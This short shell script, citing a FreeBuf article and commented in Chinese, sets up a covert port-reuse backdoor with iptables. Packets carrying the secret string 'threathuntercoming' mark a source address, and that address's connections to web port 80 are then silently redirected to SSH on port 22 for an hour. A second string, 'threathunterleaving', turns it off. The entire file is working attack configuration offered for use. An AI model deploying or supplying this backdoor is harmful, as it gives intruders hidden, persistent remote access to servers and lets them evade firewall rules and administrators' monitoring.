iptables_port_forward.sh

# https://www.freebuf.com/articles/network/137683.html

# 端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22

# 开启开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT

# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN